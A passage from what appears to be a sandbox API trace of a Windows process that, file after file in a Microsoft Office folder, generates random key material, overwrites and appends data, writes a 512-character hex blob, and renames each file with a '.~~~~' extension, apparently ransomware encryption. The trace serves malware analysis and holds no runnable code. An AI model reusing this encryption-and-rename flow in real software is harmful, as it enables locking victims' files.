	[0133.219] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.219] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.219] CloseHandle (hObject=0xc4) returned 1
	[0133.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x29e1838
	[0133.219] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Document.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\document.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Document.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\document.gif.~~~~")) returned 1
	[0133.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e1838 | out: hHeap=0x300000) returned 1
	[0133.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0133.221] GetLastError () returned 0x0
	[0133.222] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1258) returned 1
	[0133.223] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0133.223] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0133.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0133.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.223] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25321297106) returned 1
	[0133.223] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb8d9bef0, dwHighDateTime=0x1d60e1e)) 
	[0133.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0133.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0133.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0133.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280a3a0
	[0133.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280a3a0 | out: hHeap=0x300000) returned 1
	[0133.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.224] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0133.224] GetLastError () returned 0x0
	[0133.224] GetLastError () returned 0x0
	[0133.224] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0133.224] GetLastError () returned 0x0
	[0133.224] GetLastError () returned 0x0
	[0133.226] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffffe54, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.226] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x1ac, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1ac, lpOverlapped=0x0) returned 1
	[0133.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.228] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.228] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.228] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.228] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.228] CloseHandle (hObject=0xc4) returned 1
	[0133.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x29e1838
	[0133.229] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\button.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\BUTTON.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\button.gif.~~~~")) returned 1
	[0133.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e1838 | out: hHeap=0x300000) returned 1
	[0133.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0133.230] GetLastError () returned 0x0
	[0133.230] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1258) returned 1
	[0133.231] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0133.231] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.232] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0133.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0133.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.232] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25322184400) returned 1
	[0133.232] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb8d9bef0, dwHighDateTime=0x1d60e1e)) 
	[0133.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0133.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0133.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0133.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280a368
	[0133.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.232] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280a368 | out: hHeap=0x300000) returned 1
	[0133.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.233] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0133.233] GetLastError () returned 0x0
	[0133.234] GetLastError () returned 0x0
	[0133.234] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0133.234] GetLastError () returned 0x0
	[0133.234] GetLastError () returned 0x0
	[0133.235] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffffeab, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.235] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x155, lpOverlapped=0x0) returned 1
	[0133.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.237] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.237] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.237] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.238] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.238] CloseHandle (hObject=0xc4) returned 1
	[0133.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x29e1838
	[0133.238] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\tab_off.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\TAB_OFF.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\tab_off.gif.~~~~")) returned 1
	[0133.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e1838 | out: hHeap=0x300000) returned 1
	[0133.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0133.243] GetLastError () returned 0x0
	[0133.243] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1258) returned 1
	[0133.244] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0133.244] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0133.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0133.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.244] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25323456443) returned 1
	[0133.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb8dc2050, dwHighDateTime=0x1d60e1e)) 
	[0133.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0133.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0133.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0133.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280a330
	[0133.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280a330 | out: hHeap=0x300000) returned 1
	[0133.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.245] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0133.245] GetLastError () returned 0x0
	[0133.246] GetLastError () returned 0x0
	[0133.246] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0133.246] GetLastError () returned 0x0
	[0133.246] GetLastError () returned 0x0
	[0133.247] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff22, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.247] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0xde, lpOverlapped=0x0) returned 1
	[0133.313] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.313] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.313] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.313] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.313] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.313] CloseHandle (hObject=0xc4) returned 1
	[0133.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800b18
	[0133.318] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\tab_on.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\TAB_ON.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\tab_on.gif.~~~~")) returned 1
	[0133.319] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800b18 | out: hHeap=0x300000) returned 1
	[0133.320] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0133.320] GetLastError () returned 0x0
	[0133.321] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1258) returned 1
	[0133.322] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.322] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0133.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0133.322] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25331236039) returned 1
	[0133.322] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb8e80730, dwHighDateTime=0x1d60e1e)) 
	[0133.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0133.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0133.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0133.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38c968
	[0133.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38c968 | out: hHeap=0x300000) returned 1
	[0133.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.323] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0133.323] GetLastError () returned 0x0
	[0133.323] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0133.323] GetLastError () returned 0x0
	[0133.325] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffffef8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.325] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x108, lpOverlapped=0x0) returned 1
	[0133.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.327] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.328] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.328] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.328] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.328] CloseHandle (hObject=0x104) returned 1
	[0133.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x29d6e28
	[0133.328] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\tab_on.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\TAB_ON.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\tab_on.gif.~~~~")) returned 1
	[0133.330] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d6e28 | out: hHeap=0x300000) returned 1
	[0133.330] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0133.330] GetLastError () returned 0x0
	[0133.544] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x29085c0) returned 1
	[0133.545] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.545] CryptReleaseContext (hProv=0x29085c0, dwFlags=0x0) returned 1
	[0133.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0133.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0133.546] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25353588437) returned 1
	[0133.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb90bbbd0, dwHighDateTime=0x1d60e1e)) 
	[0133.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0133.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0133.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0133.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824600
	[0133.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824600 | out: hHeap=0x300000) returned 1
	[0133.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0133.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ab8
	[0133.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0133.547] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0133.547] GetLastError () returned 0x0
	[0133.547] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0133.547] GetLastError () returned 0x0
	[0133.549] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffffae3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
